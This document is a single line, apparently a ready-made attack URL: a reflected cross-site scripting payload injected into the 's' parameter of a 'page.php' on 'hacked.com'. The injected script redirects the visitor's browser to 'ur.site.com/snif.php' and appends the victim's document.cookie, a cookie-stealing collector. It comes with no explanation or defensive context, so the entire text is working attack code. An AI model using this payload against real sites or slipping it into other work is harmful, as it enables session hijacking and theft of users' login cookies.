hacked.com/page.php?s="><script>location.href="http://ur.site.com/snif.php?c="+escape(document.cookie)</script>